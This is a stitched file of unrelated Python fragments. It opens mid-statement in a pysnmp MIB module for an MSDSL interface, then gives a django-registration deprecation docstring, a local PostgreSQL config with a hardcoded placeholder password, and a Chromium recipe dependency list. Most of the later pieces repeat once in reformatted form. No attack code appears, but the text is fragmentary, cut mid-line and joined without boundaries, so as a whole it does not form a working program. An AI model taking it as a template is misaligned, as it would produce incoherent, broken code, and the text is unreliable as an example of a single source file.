integer32().subtype(subtypeSpec=value_range_constraint(1, 2147483647))).setMaxAccess('readonly') if mibBuilder.loadTexts: msdslFarEndWorstIntervalIfIndex.setStatus('mandatory') msdsl_far_end_worst_interval_e_ss = mib_table_column((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 7, 7, 1, 2), integer32().subtype(subtypeSpec=value_range_constraint(1, 96))).setMaxAccess('readonly') if mibBuilder.loadTexts: msdslFarEndWorstIntervalESs.setStatus('mandatory') msdsl_far_end_worst_interval_se_ss = mib_table_column((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 7, 7, 1, 3), integer32().subtype(subtypeSpec=value_range_constraint(1, 96))).setMaxAccess('readonly') if mibBuilder.loadTexts: msdslFarEndWorstIntervalSESs.setStatus('mandatory') msdsl_far_end_worst_interval_feb_es = mib_table_column((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 7, 7, 1, 4), integer32().subtype(subtypeSpec=value_range_constraint(1, 96))).setMaxAccess('readonly') if mibBuilder.loadTexts: msdslFarEndWorstIntervalFEBEs.setStatus('mandatory') msdsl_far_end_total_table = mib_table((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 8, 8)) if mibBuilder.loadTexts: msdslFarEndTotalTable.setStatus('mandatory') msdsl_far_end_total_entry = mib_table_row((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 8, 8, 1)).setIndexNames((0, 'HOTWIRE-MSDSL-INTERFACE-MIB', 'msdslTotalIfIndex')) if mibBuilder.loadTexts: msdslFarEndTotalEntry.setStatus('mandatory') msdsl_far_end_total_if_index = mib_table_column((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 8, 8, 1, 1), integer32().subtype(subtypeSpec=value_range_constraint(1, 2147483647))).setMaxAccess('readonly') if mibBuilder.loadTexts: msdslFarEndTotalIfIndex.setStatus('mandatory') msdsl_far_end_total_e_ss = mib_table_column((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 8, 8, 1, 2), gauge32()).setMaxAccess('readonly') if mibBuilder.loadTexts: msdslFarEndTotalESs.setStatus('mandatory') msdsl_far_end_total_se_ss = mib_table_column((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 8, 8, 1, 3), gauge32()).setMaxAccess('readonly') if mibBuilder.loadTexts: msdslFarEndTotalSESs.setStatus('mandatory') msdsl_far_end_total_feb_es = mib_table_column((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 8, 8, 1, 4), gauge32()).setMaxAccess('readonly') if mibBuilder.loadTexts: msdslFarEndTotalFEBEs.setStatus('mandatory') msdsl_current_perf_table = mib_table((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 9, 9)) if mibBuilder.loadTexts: msdslCurrentPerfTable.setStatus('mandatory') msdsl_current_perf_entry = mib_table_row((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 9, 9, 1)).setIndexNames((0, 'HOTWIRE-MSDSL-INTERFACE-MIB', 'msdslCurrentPerfIfIndex')) if mibBuilder.loadTexts: msdslCurrentPerfEntry.setStatus('mandatory') msdsl_current_perf_if_index = mib_table_column((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 9, 9, 1, 1), integer32().subtype(subtypeSpec=value_range_constraint(1, 2147483647))).setMaxAccess('readonly') if mibBuilder.loadTexts: msdslCurrentPerfIfIndex.setStatus('mandatory') msdsl_current_perf_margin = mib_table_column((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 9, 9, 1, 2), gauge32()).setMaxAccess('readonly') if mibBuilder.loadTexts: msdslCurrentPerfMargin.setStatus('mandatory') msdsl_current_perf_tx_pwr = mib_table_column((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 9, 9, 1, 3), gauge32()).setMaxAccess('readonly') if mibBuilder.loadTexts: msdslCurrentPerfTxPwr.setStatus('mandatory') msdsl_current_perf_rx_gain = mib_table_column((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 9, 9, 1, 4), gauge32()).setMaxAccess('readonly') if mibBuilder.loadTexts: msdslCurrentPerfRxGain.setStatus('mandatory') msdsl_perf_payload_rate = mib_table_column((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 9, 9, 1, 5), gauge32()).setMaxAccess('readonly') if mibBuilder.loadTexts: msdslPerfPayloadRate.setStatus('mandatory') msdsl_time_elapsed = mib_table_column((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 9, 9, 1, 6), integer32().subtype(subtypeSpec=value_range_constraint(0, 899))).setMaxAccess('readonly') if mibBuilder.loadTexts: msdslTimeElapsed.setStatus('mandatory') msdsl_valid_intervals = mib_table_column((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 9, 9, 1, 7), integer32().subtype(subtypeSpec=value_range_constraint(0, 96))).setMaxAccess('readonly') if mibBuilder.loadTexts: msdslValidIntervals.setStatus('mandatory') msdsl_interval_perf_table = mib_table((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 10, 10)) if mibBuilder.loadTexts: msdslIntervalPerfTable.setStatus('mandatory') msdsl_interval_perf_entry = mib_table_row((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 10, 10, 1)).setIndexNames((0, 'HOTWIRE-MSDSL-INTERFACE-MIB', 'msdslIntervalPerfIfIndex'), (0, 'HOTWIRE-MSDSL-INTERFACE-MIB', 'msdslIntervalPerfNumber')) if mibBuilder.loadTexts: msdslIntervalPerfEntry.setStatus('mandatory') msdsl_interval_perf_if_index = mib_table_column((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 10, 10, 1, 1), integer32().subtype(subtypeSpec=value_range_constraint(1, 2147483647))).setMaxAccess('readonly') if mibBuilder.loadTexts: msdslIntervalPerfIfIndex.setStatus('mandatory') msdsl_interval_perf_number = mib_table_column((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 10, 10, 1, 2), integer32().subtype(subtypeSpec=value_range_constraint(1, 96))).setMaxAccess('readonly') if mibBuilder.loadTexts: msdslIntervalPerfNumber.setStatus('mandatory') msdsl_interval_perf_margin = mib_table_column((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 10, 10, 1, 3), gauge32()).setMaxAccess('readonly') if mibBuilder.loadTexts: msdslIntervalPerfMargin.setStatus('mandatory') msdsl_interval_perf_tx_pwr = mib_table_column((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 10, 10, 1, 4), gauge32()).setMaxAccess('readonly') if mibBuilder.loadTexts: msdslIntervalPerfTxPwr.setStatus('mandatory') msdsl_interval_perf_rx_gain = mib_table_column((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 10, 10, 1, 5), gauge32()).setMaxAccess('readonly') if mibBuilder.loadTexts: msdslIntervalPerfRxGain.setStatus('mandatory') msdsl_far_end_current_perf_table = mib_table((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 11, 11)) if mibBuilder.loadTexts: msdslFarEndCurrentPerfTable.setStatus('mandatory') msdsl_far_end_current_perf_entry = mib_table_row((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 11, 11, 1)).setIndexNames((0, 'HOTWIRE-MSDSL-INTERFACE-MIB', 'msdslFarEndCurrentPerfIfIndex')) if mibBuilder.loadTexts: msdslFarEndCurrentPerfEntry.setStatus('mandatory') msdsl_far_end_current_perf_if_index = mib_table_column((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 11, 11, 1, 1), integer32().subtype(subtypeSpec=value_range_constraint(1, 2147483647))).setMaxAccess('readonly') if mibBuilder.loadTexts: msdslFarEndCurrentPerfIfIndex.setStatus('mandatory') msdsl_far_end_current_perf_margin = mib_table_column((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 11, 11, 1, 2), gauge32()).setMaxAccess('readonly') if mibBuilder.loadTexts: msdslFarEndCurrentPerfMargin.setStatus('mandatory') msdsl_far_end_current_perf_tx_pwr = mib_table_column((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 11, 11, 1, 3), gauge32()).setMaxAccess('readonly') if mibBuilder.loadTexts: msdslFarEndCurrentPerfTxPwr.setStatus('mandatory') msdsl_far_end_current_perf_rx_gain = mib_table_column((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 11, 11, 1, 4), gauge32()).setMaxAccess('readonly') if mibBuilder.loadTexts: msdslFarEndCurrentPerfRxGain.setStatus('mandatory') msdsl_far_end_interval_perf_table = mib_table((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 12, 12)) if mibBuilder.loadTexts: msdslFarEndIntervalPerfTable.setStatus('mandatory') msdsl_far_end_interval_perf_entry = mib_table_row((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 12, 12, 1)).setIndexNames((0, 'HOTWIRE-MSDSL-INTERFACE-MIB', 'msdslFarEndIntervalPerfIfIndex'), (0, 'HOTWIRE-MSDSL-INTERFACE-MIB', 'msdslFarEndIntervalPerfNumber')) if mibBuilder.loadTexts: msdslFarEndIntervalPerfEntry.setStatus('mandatory') msdsl_far_end_interval_perf_if_index = mib_table_column((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 12, 12, 1, 1), integer32().subtype(subtypeSpec=value_range_constraint(1, 2147483647))).setMaxAccess('readonly') if mibBuilder.loadTexts: msdslFarEndIntervalPerfIfIndex.setStatus('mandatory') msdsl_far_end_interval_perf_number = mib_table_column((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 12, 12, 1, 2), integer32().subtype(subtypeSpec=value_range_constraint(1, 96))).setMaxAccess('readonly') if mibBuilder.loadTexts: msdslFarEndIntervalPerfNumber.setStatus('mandatory') msdsl_far_end_interval_perf_margin = mib_table_column((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 12, 12, 1, 3), gauge32()).setMaxAccess('readonly') if mibBuilder.loadTexts: msdslFarEndIntervalPerfMargin.setStatus('mandatory') msdsl_far_end_interval_perf_tx_pwr = mib_table_column((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 12, 12, 1, 4), gauge32()).setMaxAccess('readonly') if mibBuilder.loadTexts: msdslFarEndIntervalPerfTxPwr.setStatus('mandatory') msdsl_far_end_interval_perf_rx_gain = mib_table_column((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 12, 12, 1, 5), gauge32()).setMaxAccess('readonly') if mibBuilder.loadTexts: msdslFarEndIntervalPerfRxGain.setStatus('mandatory') msdsldsx1_worst_interval_table = mib_table((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 13, 13)) if mibBuilder.loadTexts: msdsldsx1WorstIntervalTable.setStatus('mandatory') msdsldsx1_worst_interval_entry = mib_table_row((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 13, 13, 1)).setIndexNames((0, 'HOTWIRE-MSDSL-INTERFACE-MIB', 'msdsldsx1WorstIntervalIfIndex')) if mibBuilder.loadTexts: msdsldsx1WorstIntervalEntry.setStatus('mandatory') msdsldsx1_worst_interval_if_index = mib_table_column((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 13, 13, 1, 1), integer32().subtype(subtypeSpec=value_range_constraint(1, 2147483647))).setMaxAccess('readonly') if mibBuilder.loadTexts: msdsldsx1WorstIntervalIfIndex.setStatus('mandatory') msdsldsx1_worst_interval_e_ss = mib_table_column((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 13, 13, 1, 2), integer32()).setMaxAccess('readonly') if mibBuilder.loadTexts: msdsldsx1WorstIntervalESs.setStatus('mandatory') msdsldsx1_worst_interval_ua_ss = mib_table_column((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 13, 13, 1, 3), integer32()).setMaxAccess('readonly') if mibBuilder.loadTexts: msdsldsx1WorstIntervalUASs.setStatus('mandatory') msdsldsx1_worst_interval_se_ss = mib_table_column((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 13, 13, 1, 4), integer32()).setMaxAccess('readonly') if mibBuilder.loadTexts: msdsldsx1WorstIntervalSESs.setStatus('mandatory') msdsldsx1_worst_interval_be_ss = mib_table_column((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 13, 13, 1, 5), integer32()).setMaxAccess('readonly') if mibBuilder.loadTexts: msdsldsx1WorstIntervalBESs.setStatus('mandatory') msdsldsx1_worst_interval_cs_ss = mib_table_column((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 13, 13, 1, 6), integer32()).setMaxAccess('readonly') if mibBuilder.loadTexts: msdsldsx1WorstIntervalCSSs.setStatus('mandatory') msdsldsx1_worst_interval_lofc = mib_table_column((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 13, 13, 1, 7), integer32()).setMaxAccess('readonly') if mibBuilder.loadTexts: msdsldsx1WorstIntervalLOFC.setStatus('mandatory') msdsl_g703_worst_interval_table = mib_table((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 14, 14)) if mibBuilder.loadTexts: msdslG703WorstIntervalTable.setStatus('mandatory') msdsl_g703_worst_interval_entry = mib_table_row((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 14, 14, 1)).setIndexNames((0, 'HOTWIRE-MSDSL-INTERFACE-MIB', 'msdslG703WorstIntervalIfIndex')) if mibBuilder.loadTexts: msdslG703WorstIntervalEntry.setStatus('mandatory') msdsl_g703_worst_interval_if_index = mib_table_column((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 14, 14, 1, 1), integer32().subtype(subtypeSpec=value_range_constraint(1, 2147483647))).setMaxAccess('readonly') if mibBuilder.loadTexts: msdslG703WorstIntervalIfIndex.setStatus('mandatory') msdsl_g703_worst_interval_e_ss = mib_table_column((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 14, 14, 1, 2), integer32()).setMaxAccess('readonly') if mibBuilder.loadTexts: msdslG703WorstIntervalESs.setStatus('mandatory') msdsl_g703_worst_interval_ua_ss = mib_table_column((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 14, 14, 1, 3), integer32()).setMaxAccess('readonly') if mibBuilder.loadTexts: msdslG703WorstIntervalUASs.setStatus('mandatory') msdsl_g703_worst_interval_se_ss = mib_table_column((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 14, 14, 1, 4), integer32()).setMaxAccess('readonly') if mibBuilder.loadTexts: msdslG703WorstIntervalSESs.setStatus('mandatory') msdsl_g703_worst_interval_be_ss = mib_table_column((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 14, 14, 1, 5), integer32()).setMaxAccess('readonly') if mibBuilder.loadTexts: msdslG703WorstIntervalBESs.setStatus('mandatory') msdsl_g703_worst_interval_cs_ss = mib_table_column((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 14, 14, 1, 6), integer32()).setMaxAccess('readonly') if mibBuilder.loadTexts: msdslG703WorstIntervalCSSs.setStatus('mandatory') msdsl_g703_worst_interval_lofc = mib_table_column((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 14, 14, 1, 7), integer32()).setMaxAccess('readonly') if mibBuilder.loadTexts: msdslG703WorstIntervalLOFC.setStatus('mandatory') msdsl_frac_table = mib_table((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 15, 28)) if mibBuilder.loadTexts: msdslFracTable.setStatus('mandatory') msdsl_frac_entry = mib_table_row((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 15, 28, 1)).setIndexNames((0, 'HOTWIRE-MSDSL-INTERFACE-MIB', 'msdslFracPortIndex'), (0, 'HOTWIRE-MSDSL-INTERFACE-MIB', 'msdslFracPortTS')) if mibBuilder.loadTexts: msdslFracEntry.setStatus('mandatory') msdsl_frac_port_index = mib_table_column((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 15, 28, 1, 1), integer32()).setMaxAccess('readonly') if mibBuilder.loadTexts: msdslFracPortIndex.setStatus('mandatory') msdsl_frac_port_ts = mib_table_column((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 15, 28, 1, 2), integer32().subtype(subtypeSpec=value_range_constraint(1, 31))).setMaxAccess('readwrite') if mibBuilder.loadTexts: msdslFracPortTS.setStatus('mandatory') msdsl_frac_port_if_index = mib_table_column((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 15, 28, 1, 3), integer32()).setMaxAccess('readwrite') if mibBuilder.loadTexts: msdslFracPortIfIndex.setStatus('mandatory') msdsl_frac_port_if_ts = mib_table_column((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 15, 28, 1, 4), integer32().subtype(subtypeSpec=value_range_constraint(1, 32))).setMaxAccess('readwrite') if mibBuilder.loadTexts: msdslFracPortIfTS.setStatus('mandatory') msdsl_frac_port_voice_data = mib_table_column((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 15, 28, 1, 5), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2))).clone(namedValues=named_values(('voice', 1), ('data', 2)))).setMaxAccess('readwrite') if mibBuilder.loadTexts: msdslFracPortVoiceData.setStatus('mandatory') msdsl_port_config_alloc_method_table = mib_table((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 15, 29)) if mibBuilder.loadTexts: msdslPortConfigAllocMethodTable.setStatus('mandatory') msdsl_port_config_alloc_method_entry = mib_table_row((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 15, 29, 1)).setIndexNames((0, 'HOTWIRE-MSDSL-INTERFACE-MIB', 'msdslPortConfigAllocMethodIfIndex')) if mibBuilder.loadTexts: msdslPortConfigAllocMethodEntry.setStatus('mandatory') msdsl_port_config_alloc_method_if_index = mib_table_column((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 15, 29, 1, 1), integer32()).setMaxAccess('readonly') if mibBuilder.loadTexts: msdslPortConfigAllocMethodIfIndex.setStatus('mandatory') msdsl_port_config_alloc_method = mib_table_column((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 15, 29, 1, 2), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2, 3, 4, 5))).clone(namedValues=named_values(('ds1ByPass', 1), ('ds1CrossConn', 2), ('ds0CrossConn', 3), ('notAssigned', 4), ('disabled', 5)))).setMaxAccess('readwrite') if mibBuilder.loadTexts: msdslPortConfigAllocMethod.setStatus('mandatory') msdsl_margin_low = notification_type((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1) + (0, 3)).setObjects(('IF-MIB', 'ifIndex')) msdsl_margin_normal = notification_type((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1) + (0, 103)).setObjects(('IF-MIB', 'ifIndex')) msdsl_error_rate_high = notification_type((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1) + (0, 4)).setObjects(('IF-MIB', 'ifIndex')) msdsl_error_rate_normal = notification_type((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1) + (0, 104)).setObjects(('IF-MIB', 'ifIndex')) msdsl_test_over = notification_type((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1) + (0, 106)).setObjects(('IF-MIB', 'ifIndex')) msdsl_ntu_type_mismatch = notification_type((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1) + (0, 7)).setObjects(('IF-MIB', 'ifIndex')) mibBuilder.exportSymbols('HOTWIRE-MSDSL-INTERFACE-MIB', msdsldsx1WorstIntervalUASs=msdsldsx1WorstIntervalUASs, msdslFarEndTotalFEBEs=msdslFarEndTotalFEBEs, msdslFarEndCurrentPerfTxPwr=msdslFarEndCurrentPerfTxPwr, msdslFarEndWorstIntervalEntry=msdslFarEndWorstIntervalEntry, msdslPortConfigAllocMethodIfIndex=msdslPortConfigAllocMethodIfIndex, msdslNTUTypeMismatch=msdslNTUTypeMismatch, msdslPortConfigAllocMethod=msdslPortConfigAllocMethod, msdslWorstIntervalEntry=msdslWorstIntervalEntry, msdslFarEndIntervalPerfNumber=msdslFarEndIntervalPerfNumber, msdslFarEndCurrentPerfEntry=msdslFarEndCurrentPerfEntry, msdslFarEndWorstIntervalSESs=msdslFarEndWorstIntervalSESs, msdslPortConfigAllocMethodEntry=msdslPortConfigAllocMethodEntry, msdslG703WorstIntervalCSSs=msdslG703WorstIntervalCSSs, msdslFarEndIntervalEntry=msdslFarEndIntervalEntry, msdslIntervalPerfRxGain=msdslIntervalPerfRxGain, msdslFarEndCurrentSESs=msdslFarEndCurrentSESs, msdslMarginNormal=msdslMarginNormal, msdslFarEndIntervalPerf=msdslFarEndIntervalPerf, msdslIntervalPerfTxPwr=msdslIntervalPerfTxPwr, msdslFarEndCurrentEntry=msdslFarEndCurrentEntry, msdslG703WorstIntervalIfIndex=msdslG703WorstIntervalIfIndex, msdslFarEndCurrent=msdslFarEndCurrent, msdslTotal=msdslTotal, msdslFarEndIntervalPerfTxPwr=msdslFarEndIntervalPerfTxPwr, msdsldsx1WorstIntervalCSSs=msdsldsx1WorstIntervalCSSs, msdslG703WorstIntervalTable=msdslG703WorstIntervalTable, msdslFarEndTotalSESs=msdslFarEndTotalSESs, msdslTotalESs=msdslTotalESs, msdslWorstIntervalSESs=msdslWorstIntervalSESs, msdslIntervalSESs=msdslIntervalSESs, msdslFarEndWorstInterval=msdslFarEndWorstInterval, msdslFarEndTotalTable=msdslFarEndTotalTable, msdslG703WorstIntervalBESs=msdslG703WorstIntervalBESs, msdslFarEndCurrentPerfIfIndex=msdslFarEndCurrentPerfIfIndex, msdslCurrentPerf=msdslCurrentPerf, msdslCurrentPerfTxPwr=msdslCurrentPerfTxPwr, msdsldsx1WorstIntervalLOFC=msdsldsx1WorstIntervalLOFC, msdslConfiguration=msdslConfiguration, msdslFarEndTotal=msdslFarEndTotal, msdslFarEndCurrentFEBEs=msdslFarEndCurrentFEBEs, msdslTimeElapsed=msdslTimeElapsed, msdslFarEndInterval=msdslFarEndInterval, msdslIntervalPerfEntry=msdslIntervalPerfEntry, msdslCurrentPerfMargin=msdslCurrentPerfMargin, msdslG703WorstIntervalUASs=msdslG703WorstIntervalUASs, msdslCurrentPerfRxGain=msdslCurrentPerfRxGain, msdslFarEndIntervalPerfMargin=msdslFarEndIntervalPerfMargin, msdslFarEndIntervalNumber=msdslFarEndIntervalNumber, msdslIntervalEntry=msdslIntervalEntry, msdslFarEndTotalESs=msdslFarEndTotalESs, msdslFarEndWorstIntervalFEBEs=msdslFarEndWorstIntervalFEBEs, msdslFarEndIntervalTable=msdslFarEndIntervalTable, msdslIntervalPerf=msdslIntervalPerf, msdslFracPortIndex=msdslFracPortIndex, msdslTestOver=msdslTestOver, msdslFracPortVoiceData=msdslFracPortVoiceData, msdslFarEndCurrentPerfMargin=msdslFarEndCurrentPerfMargin, msdslFarEndIntervalPerfIfIndex=msdslFarEndIntervalPerfIfIndex, msdslFarEndIntervalPerfTable=msdslFarEndIntervalPerfTable, msdslFracTable=msdslFracTable, msdslIntervalFEBEs=msdslIntervalFEBEs, msdsldsx1WorstIntervalEntry=msdsldsx1WorstIntervalEntry, msdslCurrentTable=msdslCurrentTable, msdsldsx1WorstIntervalESs=msdsldsx1WorstIntervalESs, msdslFarEndCurrentPerf=msdslFarEndCurrentPerf, msdsldsx1WorstIntervalIfIndex=msdsldsx1WorstIntervalIfIndex, msdslWorstInterval=msdslWorstInterval, msdslFarEndIntervalPerfRxGain=msdslFarEndIntervalPerfRxGain, msdslTotalEntry=msdslTotalEntry, msdslFarEndWorstIntervalTable=msdslFarEndWorstIntervalTable, msdslFarEndWorstIntervalESs=msdslFarEndWorstIntervalESs, msdslG703WorstIntervalLOFC=msdslG703WorstIntervalLOFC, msdslCurrentESs=msdslCurrentESs, msdslFarEndTotalIfIndex=msdslFarEndTotalIfIndex, msdslFracPortTS=msdslFracPortTS, msdslFarEndIntervalPerfEntry=msdslFarEndIntervalPerfEntry, msdslFarEndCurrentIfIndex=msdslFarEndCurrentIfIndex, msdslErrEventsCounter=msdslErrEventsCounter, msdslFarEndTotalEntry=msdslFarEndTotalEntry, msdslTotalTable=msdslTotalTable, msdslErrValidIntervals=msdslErrValidIntervals, msdslFracPortIfTS=msdslFracPortIfTS, msdslCurrentPerfIfIndex=msdslCurrentPerfIfIndex, msdslTotalFEBEs=msdslTotalFEBEs, msdslDevice=msdslDevice, msdslFarEndIntervalESs=msdslFarEndIntervalESs, msdslIntervalPerfTable=msdslIntervalPerfTable, msdslG703WorstInterval=msdslG703WorstInterval, msdslFarEndCurrentPerfTable=msdslFarEndCurrentPerfTable, msdslMarginLow=msdslMarginLow, msdslIntervalPerfIfIndex=msdslIntervalPerfIfIndex, msdslIntervalIfIndex=msdslIntervalIfIndex, msdslIntervalESs=msdslIntervalESs, msdslFarEndCurrentPerfRxGain=msdslFarEndCurrentPerfRxGain, msdslErrorRateNormal=msdslErrorRateNormal, msdslIntervalNumber=msdslIntervalNumber, msdslIntervalPerfMargin=msdslIntervalPerfMargin, msdslIntervalTable=msdslIntervalTable, msdslFracEntry=msdslFracEntry, msdslPerfPayloadRate=msdslPerfPayloadRate, msdslFarEndIntervalIfIndex=msdslFarEndIntervalIfIndex, msdslFarEndWorstIntervalIfIndex=msdslFarEndWorstIntervalIfIndex, msdslFarEndCurrentTable=msdslFarEndCurrentTable, msdslWorstIntervalESs=msdslWorstIntervalESs, msdslCurrentSESs=msdslCurrentSESs, msdsldsx1WorstIntervalBESs=msdsldsx1WorstIntervalBESs, msdslErrorRateHigh=msdslErrorRateHigh, msdslWorstIntervalTable=msdslWorstIntervalTable, msdslTotalSESs=msdslTotalSESs, msdslCurrentPerfEntry=msdslCurrentPerfEntry, msdslG703WorstIntervalSESs=msdslG703WorstIntervalSESs, msdslFarEndIntervalSESs=msdslFarEndIntervalSESs, msdslInterval=msdslInterval, msdslCurrentFEBEs=msdslCurrentFEBEs, msdslG703WorstIntervalEntry=msdslG703WorstIntervalEntry, msdslCurrent=msdslCurrent, msdslTotalIfIndex=msdslTotalIfIndex, msdslIntervalPerfNumber=msdslIntervalPerfNumber, msdslG703WorstIntervalESs=msdslG703WorstIntervalESs, msdsldsx1WorstIntervalSESs=msdsldsx1WorstIntervalSESs, msdslCurrentIfIndex=msdslCurrentIfIndex, msdslErrTimeElapsed=msdslErrTimeElapsed, msdsldsx1WorstInterval=msdsldsx1WorstInterval, msdsldsx1WorstIntervalTable=msdsldsx1WorstIntervalTable, msdslPortConfigAllocMethodTable=msdslPortConfigAllocMethodTable, msdslFarEndIntervalFEBEs=msdslFarEndIntervalFEBEs, msdslCurrentEntry=msdslCurrentEntry, msdslWorstIntervalIfIndex=msdslWorstIntervalIfIndex, msdslValidIntervals=msdslValidIntervals, msdslCurrentPerfTable=msdslCurrentPerfTable, msdslFarEndCurrentESs=msdslFarEndCurrentESs, msdslWorstIntervalFEBEs=msdslWorstIntervalFEBEs, msdslFracPortIfIndex=msdslFracPortIfIndex)
""" Backwards-compatible import location for the model-based activation workflow. Formerly this was the default registration workflow of django-registration, and so was found at registration.backends.default. As of the current release, however, it is no longer the default workflow (there is now no default), and has accordingly been moved to registration.backends.model_activation. Attempting to import the views or include() the URLconf found here will raise deprecation warnings to make users aware of this fact, and remind them to modify imports and include()s, as support for this location will be removed in django-registration 3.0 """
""" Backwards-compatible import location for the model-based activation workflow. Formerly this was the default registration workflow of django-registration, and so was found at registration.backends.default. As of the current release, however, it is no longer the default workflow (there is now no default), and has accordingly been moved to registration.backends.model_activation. Attempting to import the views or include() the URLconf found here will raise deprecation warnings to make users aware of this fact, and remind them to modify imports and include()s, as support for this location will be removed in django-registration 3.0 """
sql_user = "lopez" # for obvious reasons this should be changed sql_pass = "johny johny telling lies" sql_db = "lopez" sql_host = "localhost" sql_port = 5432 # changing the below line will void the non-existent warranty Lopez came with # so please don't postgresql = "postgresql://{0}:{1}@{2}:{3}/{4}".format( sql_user, sql_pass, sql_host, sql_port, sql_db )
sql_user = 'lopez' sql_pass = 'johny johny telling lies' sql_db = 'lopez' sql_host = 'localhost' sql_port = 5432 postgresql = 'postgresql://{0}:{1}@{2}:{3}/{4}'.format(sql_user, sql_pass, sql_host, sql_port, sql_db)
DEPS = [ 'chromium', 'file', 'gsutil', 'recipe_engine/json', 'math_utils', 'recipe_engine/path', 'recipe_engine/platform', 'recipe_engine/properties', 'recipe_engine/python', 'recipe_engine/raw_io', 'recipe_engine/step', ]
deps = ['chromium', 'file', 'gsutil', 'recipe_engine/json', 'math_utils', 'recipe_engine/path', 'recipe_engine/platform', 'recipe_engine/properties', 'recipe_engine/python', 'recipe_engine/raw_io', 'recipe_engine/step']
